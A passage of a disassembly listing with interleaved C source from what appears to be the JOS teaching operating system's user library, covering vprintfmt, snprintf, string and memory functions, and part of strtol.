800658: b8 0a 00 00 00 mov $0xa,%eax
80065d: eb 74 jmp 8006d3 <vprintfmt+0x3bb>
if (lflag >= 2)
80065f: 83 f9 01 cmp $0x1,%ecx
800662: 7e 15 jle 800679 <vprintfmt+0x361>
return va_arg(*ap, unsigned long long);
800664: 8b 45 14 mov 0x14(%ebp),%eax
800667: 8b 10 mov (%eax),%edx
800669: 8b 48 04 mov 0x4(%eax),%ecx
80066c: 8d 40 08 lea 0x8(%eax),%eax
80066f: 89 45 14 mov %eax,0x14(%ebp)
base = 8;
800672: b8 08 00 00 00 mov $0x8,%eax
800677: eb 5a jmp 8006d3 <vprintfmt+0x3bb>
else if (lflag)
800679: 85 c9 test %ecx,%ecx
80067b: 75 17 jne 800694 <vprintfmt+0x37c>
return va_arg(*ap, unsigned int);
80067d: 8b 45 14 mov 0x14(%ebp),%eax
800680: 8b 10 mov (%eax),%edx
800682: b9 00 00 00 00 mov $0x0,%ecx
800687: 8d 40 04 lea 0x4(%eax),%eax
80068a: 89 45 14 mov %eax,0x14(%ebp)
base = 8;
80068d: b8 08 00 00 00 mov $0x8,%eax
800692: eb 3f jmp 8006d3 <vprintfmt+0x3bb>
return va_arg(*ap, unsigned long);
800694: 8b 45 14 mov 0x14(%ebp),%eax
800697: 8b 10 mov (%eax),%edx
800699: b9 00 00 00 00 mov $0x0,%ecx
80069e: 8d 40 04 lea 0x4(%eax),%eax
8006a1: 89 45 14 mov %eax,0x14(%ebp)
base = 8;
8006a4: b8 08 00 00 00 mov $0x8,%eax
8006a9: eb 28 jmp 8006d3 <vprintfmt+0x3bb>
putch('0', putdat);
8006ab: 83 ec 08 sub $0x8,%esp
8006ae: 53 push %ebx
8006af: 6a 30 push $0x30
8006b1: ff d6 call *%esi
putch('x', putdat);
8006b3: 83 c4 08 add $0x8,%esp
8006b6: 53 push %ebx
8006b7: 6a 78 push $0x78
8006b9: ff d6 call *%esi
num = (unsigned long long)
8006bb: 8b 45 14 mov 0x14(%ebp),%eax
8006be: 8b 10 mov (%eax),%edx
8006c0: b9 00 00 00 00 mov $0x0,%ecx
goto number;
8006c5: 83 c4 10 add $0x10,%esp
(uintptr_t) va_arg(ap, void *);
8006c8: 8d 40 04 lea 0x4(%eax),%eax
8006cb: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
8006ce: b8 10 00 00 00 mov $0x10,%eax
printnum(putch, putdat, num, base, width, padc);
8006d3: 83 ec 0c sub $0xc,%esp
8006d6: 0f be 7d d4 movsbl -0x2c(%ebp),%edi
8006da: 57 push %edi
8006db: ff 75 e0 pushl -0x20(%ebp)
8006de: 50 push %eax
8006df: 51 push %ecx
8006e0: 52 push %edx
8006e1: 89 da mov %ebx,%edx
8006e3: 89 f0 mov %esi,%eax
8006e5: e8 45 fb ff ff call 80022f <printnum>
break;
8006ea: 83 c4 20 add $0x20,%esp
err = va_arg(ap, int);
8006ed: 8b 7d e4 mov -0x1c(%ebp),%edi
while ((ch = *(unsigned char *) fmt++) != '%') { //先将非格式化字符输出到控制台。
8006f0: 83 c7 01 add $0x1,%edi
8006f3: 0f b6 47 ff movzbl -0x1(%edi),%eax
8006f7: 83 f8 25 cmp $0x25,%eax
8006fa: 0f 84 2f fc ff ff je 80032f <vprintfmt+0x17>
if (ch == '\0') //如果没有格式化字符直接返回
800700: 85 c0 test %eax,%eax
800702: 0f 84 8b 00 00 00 je 800793 <vprintfmt+0x47b>
putch(ch, putdat);
800708: 83 ec 08 sub $0x8,%esp
80070b: 53 push %ebx
80070c: 50 push %eax
80070d: ff d6 call *%esi
80070f: 83 c4 10 add $0x10,%esp
800712: eb dc jmp 8006f0 <vprintfmt+0x3d8>
if (lflag >= 2)
800714: 83 f9 01 cmp $0x1,%ecx
800717: 7e 15 jle 80072e <vprintfmt+0x416>
return va_arg(*ap, unsigned long long);
800719: 8b 45 14 mov 0x14(%ebp),%eax
80071c: 8b 10 mov (%eax),%edx
80071e: 8b 48 04 mov 0x4(%eax),%ecx
800721: 8d 40 08 lea 0x8(%eax),%eax
800724: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
800727: b8 10 00 00 00 mov $0x10,%eax
80072c: eb a5 jmp 8006d3 <vprintfmt+0x3bb>
else if (lflag)
80072e: 85 c9 test %ecx,%ecx
800730: 75 17 jne 800749 <vprintfmt+0x431>
return va_arg(*ap, unsigned int);
800732: 8b 45 14 mov 0x14(%ebp),%eax
800735: 8b 10 mov (%eax),%edx
800737: b9 00 00 00 00 mov $0x0,%ecx
80073c: 8d 40 04 lea 0x4(%eax),%eax
80073f: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
800742: b8 10 00 00 00 mov $0x10,%eax
800747: eb 8a jmp 8006d3 <vprintfmt+0x3bb>
return va_arg(*ap, unsigned long);
800749: 8b 45 14 mov 0x14(%ebp),%eax
80074c: 8b 10 mov (%eax),%edx
80074e: b9 00 00 00 00 mov $0x0,%ecx
800753: 8d 40 04 lea 0x4(%eax),%eax
800756: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
800759: b8 10 00 00 00 mov $0x10,%eax
80075e: e9 70 ff ff ff jmp 8006d3 <vprintfmt+0x3bb>
putch(ch, putdat);
800763: 83 ec 08 sub $0x8,%esp
800766: 53 push %ebx
800767: 6a 25 push $0x25
800769: ff d6 call *%esi
break;
80076b: 83 c4 10 add $0x10,%esp
80076e: e9 7a ff ff ff jmp 8006ed <vprintfmt+0x3d5>
putch('%', putdat);
800773: 83 ec 08 sub $0x8,%esp
800776: 53 push %ebx
800777: 6a 25 push $0x25
800779: ff d6 call *%esi
for (fmt--; fmt[-1] != '%'; fmt--)
80077b: 83 c4 10 add $0x10,%esp
80077e: 89 f8 mov %edi,%eax
800780: eb 03 jmp 800785 <vprintfmt+0x46d>
800782: 83 e8 01 sub $0x1,%eax
800785: 80 78 ff 25 cmpb $0x25,-0x1(%eax)
800789: 75 f7 jne 800782 <vprintfmt+0x46a>
80078b: 89 45 e4 mov %eax,-0x1c(%ebp)
80078e: e9 5a ff ff ff jmp 8006ed <vprintfmt+0x3d5>
}
800793: 8d 65 f4 lea -0xc(%ebp),%esp
800796: 5b pop %ebx
800797: 5e pop %esi
800798: 5f pop %edi
800799: 5d pop %ebp
80079a: c3 ret
0080079b <vsnprintf>:
int
vsnprintf(char *buf, int n, const char *fmt, va_list ap)
{
80079b: 55 push %ebp
80079c: 89 e5 mov %esp,%ebp
80079e: 83 ec 18 sub $0x18,%esp
8007a1: 8b 45 08 mov 0x8(%ebp),%eax
8007a4: 8b 55 0c mov 0xc(%ebp),%edx
struct sprintbuf b = {buf, buf+n-1, 0};
8007a7: 89 45 ec mov %eax,-0x14(%ebp)
8007aa: 8d 4c 10 ff lea -0x1(%eax,%edx,1),%ecx
8007ae: 89 4d f0 mov %ecx,-0x10(%ebp)
8007b1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if (buf == NULL || n < 1)
8007b8: 85 c0 test %eax,%eax
8007ba: 74 26 je 8007e2 <vsnprintf+0x47>
8007bc: 85 d2 test %edx,%edx
8007be: 7e 22 jle 8007e2 <vsnprintf+0x47>
return -E_INVAL;
// print the string to the buffer
vprintfmt((void*)sprintputch, &b, fmt, ap);
8007c0: ff 75 14 pushl 0x14(%ebp)
8007c3: ff 75 10 pushl 0x10(%ebp)
8007c6: 8d 45 ec lea -0x14(%ebp),%eax
8007c9: 50 push %eax
8007ca: 68 de 02 80 00 push $0x8002de
8007cf: e8 44 fb ff ff call 800318 <vprintfmt>
// null terminate the buffer
*b.buf = '\0';
8007d4: 8b 45 ec mov -0x14(%ebp),%eax
8007d7: c6 00 00 movb $0x0,(%eax)
return b.cnt;
8007da: 8b 45 f4 mov -0xc(%ebp),%eax
8007dd: 83 c4 10 add $0x10,%esp
}
8007e0: c9 leave
8007e1: c3 ret
return -E_INVAL;
8007e2: b8 fd ff ff ff mov $0xfffffffd,%eax
8007e7: eb f7 jmp 8007e0 <vsnprintf+0x45>
008007e9 <snprintf>:
int
snprintf(char *buf, int n, const char *fmt, ...)
{
8007e9: 55 push %ebp
8007ea: 89 e5 mov %esp,%ebp
8007ec: 83 ec 08 sub $0x8,%esp
va_list ap;
int rc;
va_start(ap, fmt);
8007ef: 8d 45 14 lea 0x14(%ebp),%eax
rc = vsnprintf(buf, n, fmt, ap);
8007f2: 50 push %eax
8007f3: ff 75 10 pushl 0x10(%ebp)
8007f6: ff 75 0c pushl 0xc(%ebp)
8007f9: ff 75 08 pushl 0x8(%ebp)
8007fc: e8 9a ff ff ff call 80079b <vsnprintf>
va_end(ap);
return rc;
}
800801: c9 leave
800802: c3 ret
00800803 <strlen>:
// Primespipe runs 3x faster this way.
#define ASM 1
int
strlen(const char *s)
{
800803: 55 push %ebp
800804: 89 e5 mov %esp,%ebp
800806: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for (n = 0; *s != '\0'; s++)
800809: b8 00 00 00 00 mov $0x0,%eax
80080e: eb 03 jmp 800813 <strlen+0x10>
n++;
800810: 83 c0 01 add $0x1,%eax
for (n = 0; *s != '\0'; s++)
800813: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
800817: 75 f7 jne 800810 <strlen+0xd>
return n;
}
800819: 5d pop %ebp
80081a: c3 ret
0080081b <strnlen>:
int
strnlen(const char *s, size_t size)
{
80081b: 55 push %ebp
80081c: 89 e5 mov %esp,%ebp
80081e: 8b 4d 08 mov 0x8(%ebp),%ecx
800821: 8b 55 0c mov 0xc(%ebp),%edx
int n;
for (n = 0; size > 0 && *s != '\0'; s++, size--)
800824: b8 00 00 00 00 mov $0x0,%eax
800829: eb 03 jmp 80082e <strnlen+0x13>
n++;
80082b: 83 c0 01 add $0x1,%eax
for (n = 0; size > 0 && *s != '\0'; s++, size--)
80082e: 39 d0 cmp %edx,%eax
800830: 74 06 je 800838 <strnlen+0x1d>
800832: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1)
800836: 75 f3 jne 80082b <strnlen+0x10>
return n;
}
800838: 5d pop %ebp
800839: c3 ret
0080083a <strcpy>:
char *
strcpy(char *dst, const char *src)
{
80083a: 55 push %ebp
80083b: 89 e5 mov %esp,%ebp
80083d: 53 push %ebx
80083e: 8b 45 08 mov 0x8(%ebp),%eax
800841: 8b 4d 0c mov 0xc(%ebp),%ecx
char *ret;
ret = dst;
while ((*dst++ = *src++) != '\0')
800844: 89 c2 mov %eax,%edx
800846: 83 c1 01 add $0x1,%ecx
800849: 83 c2 01 add $0x1,%edx
80084c: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
800850: 88 5a ff mov %bl,-0x1(%edx)
800853: 84 db test %bl,%bl
800855: 75 ef jne 800846 <strcpy+0xc>
/* do nothing */;
return ret;
}
800857: 5b pop %ebx
800858: 5d pop %ebp
800859: c3 ret
0080085a <strcat>:
char *
strcat(char *dst, const char *src)
{
80085a: 55 push %ebp
80085b: 89 e5 mov %esp,%ebp
80085d: 53 push %ebx
80085e: 8b 5d 08 mov 0x8(%ebp),%ebx
int len = strlen(dst);
800861: 53 push %ebx
800862: e8 9c ff ff ff call 800803 <strlen>
800867: 83 c4 04 add $0x4,%esp
strcpy(dst + len, src);
80086a: ff 75 0c pushl 0xc(%ebp)
80086d: 01 d8 add %ebx,%eax
80086f: 50 push %eax
800870: e8 c5 ff ff ff call 80083a <strcpy>
return dst;
}
800875: 89 d8 mov %ebx,%eax
800877: 8b 5d fc mov -0x4(%ebp),%ebx
80087a: c9 leave
80087b: c3 ret
0080087c <strncpy>:
char *
strncpy(char *dst, const char *src, size_t size) {
80087c: 55 push %ebp
80087d: 89 e5 mov %esp,%ebp
80087f: 56 push %esi
800880: 53 push %ebx
800881: 8b 75 08 mov 0x8(%ebp),%esi
800884: 8b 4d 0c mov 0xc(%ebp),%ecx
800887: 89 f3 mov %esi,%ebx
800889: 03 5d 10 add 0x10(%ebp),%ebx
size_t i;
char *ret;
ret = dst;
for (i = 0; i < size; i++) {
80088c: 89 f2 mov %esi,%edx
80088e: eb 0f jmp 80089f <strncpy+0x23>
*dst++ = *src;
800890: 83 c2 01 add $0x1,%edx
800893: 0f b6 01 movzbl (%ecx),%eax
800896: 88 42 ff mov %al,-0x1(%edx)
// If strlen(src) < size, null-pad 'dst' out to 'size' chars
if (*src != '\0')
src++;
800899: 80 39 01 cmpb $0x1,(%ecx)
80089c: 83 d9 ff sbb $0xffffffff,%ecx
for (i = 0; i < size; i++) {
80089f: 39 da cmp %ebx,%edx
8008a1: 75 ed jne 800890 <strncpy+0x14>
}
return ret;
}
8008a3: 89 f0 mov %esi,%eax
8008a5: 5b pop %ebx
8008a6: 5e pop %esi
8008a7: 5d pop %ebp
8008a8: c3 ret
008008a9 <strlcpy>:
size_t
strlcpy(char *dst, const char *src, size_t size)
{
8008a9: 55 push %ebp
8008aa: 89 e5 mov %esp,%ebp
8008ac: 56 push %esi
8008ad: 53 push %ebx
8008ae: 8b 75 08 mov 0x8(%ebp),%esi
8008b1: 8b 55 0c mov 0xc(%ebp),%edx
8008b4: 8b 4d 10 mov 0x10(%ebp),%ecx
8008b7: 89 f0 mov %esi,%eax
8008b9: 8d 5c 0e ff lea -0x1(%esi,%ecx,1),%ebx
char *dst_in;
dst_in = dst;
if (size > 0) {
8008bd: 85 c9 test %ecx,%ecx
8008bf: 75 0b jne 8008cc <strlcpy+0x23>
8008c1: eb 17 jmp 8008da <strlcpy+0x31>
while (--size > 0 && *src != '\0')
*dst++ = *src++;
8008c3: 83 c2 01 add $0x1,%edx
8008c6: 83 c0 01 add $0x1,%eax
8008c9: 88 48 ff mov %cl,-0x1(%eax)
while (--size > 0 && *src != '\0')
8008cc: 39 d8 cmp %ebx,%eax
8008ce: 74 07 je 8008d7 <strlcpy+0x2e>
8008d0: 0f b6 0a movzbl (%edx),%ecx
8008d3: 84 c9 test %cl,%cl
8008d5: 75 ec jne 8008c3 <strlcpy+0x1a>
*dst = '\0';
8008d7: c6 00 00 movb $0x0,(%eax)
}
return dst - dst_in;
8008da: 29 f0 sub %esi,%eax
}
8008dc: 5b pop %ebx
8008dd: 5e pop %esi
8008de: 5d pop %ebp
8008df: c3 ret
008008e0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
8008e0: 55 push %ebp
8008e1: 89 e5 mov %esp,%ebp
8008e3: 8b 4d 08 mov 0x8(%ebp),%ecx
8008e6: 8b 55 0c mov 0xc(%ebp),%edx
while (*p && *p == *q)
8008e9: eb 06 jmp 8008f1 <strcmp+0x11>
p++, q++;
8008eb: 83 c1 01 add $0x1,%ecx
8008ee: 83 c2 01 add $0x1,%edx
while (*p && *p == *q)
8008f1: 0f b6 01 movzbl (%ecx),%eax
8008f4: 84 c0 test %al,%al
8008f6: 74 04 je 8008fc <strcmp+0x1c>
8008f8: 3a 02 cmp (%edx),%al
8008fa: 74 ef je 8008eb <strcmp+0xb>
return (int) ((unsigned char) *p - (unsigned char) *q);
8008fc: 0f b6 c0 movzbl %al,%eax
8008ff: 0f b6 12 movzbl (%edx),%edx
800902: 29 d0 sub %edx,%eax
}
800904: 5d pop %ebp
800905: c3 ret
00800906 <strncmp>:
int
strncmp(const char *p, const char *q, size_t n)
{
800906: 55 push %ebp
800907: 89 e5 mov %esp,%ebp
800909: 53 push %ebx
80090a: 8b 45 08 mov 0x8(%ebp),%eax
80090d: 8b 55 0c mov 0xc(%ebp),%edx
800910: 89 c3 mov %eax,%ebx
800912: 03 5d 10 add 0x10(%ebp),%ebx
while (n > 0 && *p && *p == *q)
800915: eb 06 jmp 80091d <strncmp+0x17>
n--, p++, q++;
800917: 83 c0 01 add $0x1,%eax
80091a: 83 c2 01 add $0x1,%edx
while (n > 0 && *p && *p == *q)
80091d: 39 d8 cmp %ebx,%eax
80091f: 74 16 je 800937 <strncmp+0x31>
800921: 0f b6 08 movzbl (%eax),%ecx
800924: 84 c9 test %cl,%cl
800926: 74 04 je 80092c <strncmp+0x26>
800928: 3a 0a cmp (%edx),%cl
80092a: 74 eb je 800917 <strncmp+0x11>
if (n == 0)
return 0;
else
return (int) ((unsigned char) *p - (unsigned char) *q);
80092c: 0f b6 00 movzbl (%eax),%eax
80092f: 0f b6 12 movzbl (%edx),%edx
800932: 29 d0 sub %edx,%eax
}
800934: 5b pop %ebx
800935: 5d pop %ebp
800936: c3 ret
return 0;
800937: b8 00 00 00 00 mov $0x0,%eax
80093c: eb f6 jmp 800934 <strncmp+0x2e>
0080093e <strchr>:
// Return a pointer to the first occurrence of 'c' in 's',
// or a null pointer if the string has no 'c'.
char *
strchr(const char *s, char c)
{
80093e: 55 push %ebp
80093f: 89 e5 mov %esp,%ebp
800941: 8b 45 08 mov 0x8(%ebp),%eax
800944: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for (; *s; s++)
800948: 0f b6 10 movzbl (%eax),%edx
80094b: 84 d2 test %dl,%dl
80094d: 74 09 je 800958 <strchr+0x1a>
if (*s == c)
80094f: 38 ca cmp %cl,%dl
800951: 74 0a je 80095d <strchr+0x1f>
for (; *s; s++)
800953: 83 c0 01 add $0x1,%eax
800956: eb f0 jmp 800948 <strchr+0xa>
return (char *) s;
return 0;
800958: b8 00 00 00 00 mov $0x0,%eax
}
80095d: 5d pop %ebp
80095e: c3 ret
0080095f <strfind>:
// Return a pointer to the first occurrence of 'c' in 's',
// or a pointer to the string-ending null character if the string has no 'c'.
char *
strfind(const char *s, char c)
{
80095f: 55 push %ebp
800960: 89 e5 mov %esp,%ebp
800962: 8b 45 08 mov 0x8(%ebp),%eax
800965: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for (; *s; s++)
800969: eb 03 jmp 80096e <strfind+0xf>
80096b: 83 c0 01 add $0x1,%eax
80096e: 0f b6 10 movzbl (%eax),%edx
if (*s == c)
800971: 38 ca cmp %cl,%dl
800973: 74 04 je 800979 <strfind+0x1a>
800975: 84 d2 test %dl,%dl
800977: 75 f2 jne 80096b <strfind+0xc>
break;
return (char *) s;
}
800979: 5d pop %ebp
80097a: c3 ret
0080097b <memset>:
#if ASM
void *
memset(void *v, int c, size_t n)
{
80097b: 55 push %ebp
80097c: 89 e5 mov %esp,%ebp
80097e: 57 push %edi
80097f: 56 push %esi
800980: 53 push %ebx
800981: 8b 7d 08 mov 0x8(%ebp),%edi
800984: 8b 4d 10 mov 0x10(%ebp),%ecx
char *p;
if (n == 0)
800987: 85 c9 test %ecx,%ecx
800989: 74 13 je 80099e <memset+0x23>
return v;
if ((int)v%4 == 0 && n%4 == 0) {
80098b: f7 c7 03 00 00 00 test $0x3,%edi
800991: 75 05 jne 800998 <memset+0x1d>
800993: f6 c1 03 test $0x3,%cl
800996: 74 0d je 8009a5 <memset+0x2a>
c = (c<<24)|(c<<16)|(c<<8)|c;
asm volatile("cld; rep stosl\n"
:: "D" (v), "a" (c), "c" (n/4)
: "cc", "memory");
} else
asm volatile("cld; rep stosb\n"
800998: 8b 45 0c mov 0xc(%ebp),%eax
80099b: fc cld
80099c: f3 aa rep stos %al,%es:(%edi)
:: "D" (v), "a" (c), "c" (n)
: "cc", "memory");
return v;
}
80099e: 89 f8 mov %edi,%eax
8009a0: 5b pop %ebx
8009a1: 5e pop %esi
8009a2: 5f pop %edi
8009a3: 5d pop %ebp
8009a4: c3 ret
c &= 0xFF;
8009a5: 0f b6 55 0c movzbl 0xc(%ebp),%edx
c = (c<<24)|(c<<16)|(c<<8)|c;
8009a9: 89 d3 mov %edx,%ebx
8009ab: c1 e3 08 shl $0x8,%ebx
8009ae: 89 d0 mov %edx,%eax
8009b0: c1 e0 18 shl $0x18,%eax
8009b3: 89 d6 mov %edx,%esi
8009b5: c1 e6 10 shl $0x10,%esi
8009b8: 09 f0 or %esi,%eax
8009ba: 09 c2 or %eax,%edx
8009bc: 09 da or %ebx,%edx
:: "D" (v), "a" (c), "c" (n/4)
8009be: c1 e9 02 shr $0x2,%ecx
asm volatile("cld; rep stosl\n"
8009c1: 89 d0 mov %edx,%eax
8009c3: fc cld
8009c4: f3 ab rep stos %eax,%es:(%edi)
8009c6: eb d6 jmp 80099e <memset+0x23>
008009c8 <memmove>:
void *
memmove(void *dst, const void *src, size_t n)
{
8009c8: 55 push %ebp
8009c9: 89 e5 mov %esp,%ebp
8009cb: 57 push %edi
8009cc: 56 push %esi
8009cd: 8b 45 08 mov 0x8(%ebp),%eax
8009d0: 8b 75 0c mov 0xc(%ebp),%esi
8009d3: 8b 4d 10 mov 0x10(%ebp),%ecx
const char *s;
char *d;
s = src;
d = dst;
if (s < d && s + n > d) {
8009d6: 39 c6 cmp %eax,%esi
8009d8: 73 35 jae 800a0f <memmove+0x47>
8009da: 8d 14 0e lea (%esi,%ecx,1),%edx
8009dd: 39 c2 cmp %eax,%edx
8009df: 76 2e jbe 800a0f <memmove+0x47>
s += n;
d += n;
8009e1: 8d 3c 08 lea (%eax,%ecx,1),%edi
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
8009e4: 89 d6 mov %edx,%esi
8009e6: 09 fe or %edi,%esi
8009e8: f7 c6 03 00 00 00 test $0x3,%esi
8009ee: 74 0c je 8009fc <memmove+0x34>
asm volatile("std; rep movsl\n"
:: "D" (d-4), "S" (s-4), "c" (n/4) : "cc", "memory");
else
asm volatile("std; rep movsb\n"
:: "D" (d-1), "S" (s-1), "c" (n) : "cc", "memory");
8009f0: 83 ef 01 sub $0x1,%edi
8009f3: 8d 72 ff lea -0x1(%edx),%esi
asm volatile("std; rep movsb\n"
8009f6: fd std
8009f7: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
// Some versions of GCC rely on DF being clear
asm volatile("cld" ::: "cc");
8009f9: fc cld
8009fa: eb 21 jmp 800a1d <memmove+0x55>
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
8009fc: f6 c1 03 test $0x3,%cl
8009ff: 75 ef jne 8009f0 <memmove+0x28>
:: "D" (d-4), "S" (s-4), "c" (n/4) : "cc", "memory");
800a01: 83 ef 04 sub $0x4,%edi
800a04: 8d 72 fc lea -0x4(%edx),%esi
800a07: c1 e9 02 shr $0x2,%ecx
asm volatile("std; rep movsl\n"
800a0a: fd std
800a0b: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
800a0d: eb ea jmp 8009f9 <memmove+0x31>
} else {
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
800a0f: 89 f2 mov %esi,%edx
800a11: 09 c2 or %eax,%edx
800a13: f6 c2 03 test $0x3,%dl
800a16: 74 09 je 800a21 <memmove+0x59>
asm volatile("cld; rep movsl\n"
:: "D" (d), "S" (s), "c" (n/4) : "cc", "memory");
else
asm volatile("cld; rep movsb\n"
800a18: 89 c7 mov %eax,%edi
800a1a: fc cld
800a1b: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
:: "D" (d), "S" (s), "c" (n) : "cc", "memory");
}
return dst;
}
800a1d: 5e pop %esi
800a1e: 5f pop %edi
800a1f: 5d pop %ebp
800a20: c3 ret
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
800a21: f6 c1 03 test $0x3,%cl
800a24: 75 f2 jne 800a18 <memmove+0x50>
:: "D" (d), "S" (s), "c" (n/4) : "cc", "memory");
800a26: c1 e9 02 shr $0x2,%ecx
asm volatile("cld; rep movsl\n"
800a29: 89 c7 mov %eax,%edi
800a2b: fc cld
800a2c: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
800a2e: eb ed jmp 800a1d <memmove+0x55>
00800a30 <memcpy>:
}
#endif
void *
memcpy(void *dst, const void *src, size_t n)
{
800a30: 55 push %ebp
800a31: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
800a33: ff 75 10 pushl 0x10(%ebp)
800a36: ff 75 0c pushl 0xc(%ebp)
800a39: ff 75 08 pushl 0x8(%ebp)
800a3c: e8 87 ff ff ff call 8009c8 <memmove>
}
800a41: c9 leave
800a42: c3 ret
00800a43 <memcmp>:
int
memcmp(const void *v1, const void *v2, size_t n)
{
800a43: 55 push %ebp
800a44: 89 e5 mov %esp,%ebp
800a46: 56 push %esi
800a47: 53 push %ebx
800a48: 8b 45 08 mov 0x8(%ebp),%eax
800a4b: 8b 55 0c mov 0xc(%ebp),%edx
800a4e: 89 c6 mov %eax,%esi
800a50: 03 75 10 add 0x10(%ebp),%esi
const uint8_t *s1 = (const uint8_t *) v1;
const uint8_t *s2 = (const uint8_t *) v2;
while (n-- > 0) {
800a53: 39 f0 cmp %esi,%eax
800a55: 74 1c je 800a73 <memcmp+0x30>
if (*s1 != *s2)
800a57: 0f b6 08 movzbl (%eax),%ecx
800a5a: 0f b6 1a movzbl (%edx),%ebx
800a5d: 38 d9 cmp %bl,%cl
800a5f: 75 08 jne 800a69 <memcmp+0x26>
return (int) *s1 - (int) *s2;
s1++, s2++;
800a61: 83 c0 01 add $0x1,%eax
800a64: 83 c2 01 add $0x1,%edx
800a67: eb ea jmp 800a53 <memcmp+0x10>
return (int) *s1 - (int) *s2;
800a69: 0f b6 c1 movzbl %cl,%eax
800a6c: 0f b6 db movzbl %bl,%ebx
800a6f: 29 d8 sub %ebx,%eax
800a71: eb 05 jmp 800a78 <memcmp+0x35>
}
return 0;
800a73: b8 00 00 00 00 mov $0x0,%eax
}
800a78: 5b pop %ebx
800a79: 5e pop %esi
800a7a: 5d pop %ebp
800a7b: c3 ret
00800a7c <memfind>:
void *
memfind(const void *s, int c, size_t n)
{
800a7c: 55 push %ebp
800a7d: 89 e5 mov %esp,%ebp
800a7f: 8b 45 08 mov 0x8(%ebp),%eax
800a82: 8b 4d 0c mov 0xc(%ebp),%ecx
const void *ends = (const char *) s + n;
800a85: 89 c2 mov %eax,%edx
800a87: 03 55 10 add 0x10(%ebp),%edx
for (; s < ends; s++)
800a8a: 39 d0 cmp %edx,%eax
800a8c: 73 09 jae 800a97 <memfind+0x1b>
if (*(const unsigned char *) s == (unsigned char) c)
800a8e: 38 08 cmp %cl,(%eax)
800a90: 74 05 je 800a97 <memfind+0x1b>
for (; s < ends; s++)
800a92: 83 c0 01 add $0x1,%eax
800a95: eb f3 jmp 800a8a <memfind+0xe>
break;
return (void *) s;
}
800a97: 5d pop %ebp
800a98: c3 ret
00800a99 <strtol>:
long
strtol(const char *s, char **endptr, int base)
{
800a99: 55 push %ebp
800a9a: 89 e5 mov %esp,%ebp
800a9c: 57 push %edi
800a9d: 56 push %esi
800a9e: 53 push %ebx
800a9f: 8b 4d 08 mov 0x8(%ebp),%ecx
800aa2: 8b 5d 10 mov 0x10(%ebp),%ebx
int neg = 0;
long val = 0;
// gobble initial whitespace
while (*s == ' ' || *s == '\t')
800aa5: eb 03 jmp 800aaa <strtol+0x11>
s++;
800aa7: 83 c1 01 add $0x1,%ecx
while (*s == ' ' || *s == '\t')
800aaa: 0f b6 01 movzbl (%ecx),%eax
800aad: 3c 20 cmp $0x20,%al
800aaf: 74 f6 je 800aa7 <strtol+0xe>
800ab1: 3c 09 cmp $0x9,%al
800ab3: 74 f2 je 800aa7 <strtol+0xe>
// plus/minus sign
if (*s == '+')
800ab5: 3c 2b cmp $0x2b,%al
800ab7: 74 2e je 800ae7 <strtol+0x4e>
int neg = 0;
800ab9: bf 00 00 00 00 mov $0x0,%edi
s++;
else if (*s == '-')
800abe: 3c 2d cmp $0x2d,%al
800ac0: 74 2f je 800af1 <strtol+0x58>
s++, neg = 1;
// hex or octal base prefix
if ((base == 0 || base == 16) && (s[0] == '0' && s[1] == 'x'))
800ac2: f7 c3 ef ff ff ff test $0xffffffef,%ebx
800ac8: 75 05 jne 800acf <strtol+0x36>
800aca: 80 39 30 cmpb $0x30,(%ecx)
800acd: 74 2c je 800afb <strtol+0x62>
s += 2, base = 16;
else if (base == 0 && s[0] == '0')
800acf: 85 db test %ebx,%ebx
800ad1: 75 0a jne 800add <strtol+0x44>
s++, base = 8;
else if (base == 0)
base = 10;
800ad3: bb 0a 00 00 00 mov $0xa,%ebx
else if (base == 0 && s[0] == '0')
800ad8: 80 39 30 cmpb $0x30,(%ecx)
800adb: 74 28 je 800b05 <strtol+0x6c>
base = 10;
800add: b8 00 00 00 00 mov $0x0,%eax
800ae2: 89 5d 10 mov %ebx,0x10(%ebp)
800ae5: eb 50 jmp 800b37 <strtol+0x9e>
s++;
800ae7: 83 c1 01 add $0x1,%ecx
int neg = 0;
800aea: bf 00 00 00 00 mov $0x0,%edi
800aef: eb d1 jmp 800ac2 <strtol+0x29>
s++, neg = 1;
800af1: 83 c1 01 add $0x1,%ecx
800af4: bf 01 00 00 00 mov $0x1,%edi
800af9: eb c7 jmp 800ac2 <strtol+0x29>
if ((base == 0 || base == 16) && (s[0] == '0' && s[1] == 'x'))
800afb: 80 79 01 78 cmpb $0x78,0x1(%ecx)
800aff: 74 0e je 800b0f <strtol+0x76>
else if (base == 0 && s[0] == '0')
800b01: 85 db test %ebx,%ebx
800b03: 75 d8 jne 800add <strtol+0x44>
s++, base = 8;
800b05: 83 c1 01 add $0x1,%ecx
800b08: bb 08 00 00 00 mov $0x8,%ebx
800b0d: eb ce jmp 800add <strtol+0x44>
s += 2, base = 16;
800b0f: 83 c1 02 add $0x2,%ecx
800b12: bb 10 00 00 00 mov $0x10,%ebx
800b17: eb c4 jmp 800add <strtol+0x44>
while (1) {
int dig;
if (*s >= '0' && *s <= '9')
dig = *s - '0';
else if (*s >= 'a' && *s <= 'z')
800b19: 8d 72 9f lea -0x61(%edx),%esi
800b1c: 89 f3 mov %esi,%ebx
800b1e: 80 fb 19 cmp $0x19,%bl
800b21: 77 29 ja 800b4c <strtol+0xb3>
dig = *s - 'a' + 10;
800b23: 0f be d2 movsbl %dl,%edx
800b26: 83 ea 57 sub $0x57,%edx
else if (*s >= 'A' && *s <= 'Z')
dig = *s - 'A' + 10;
else
break;
if (dig >= base)
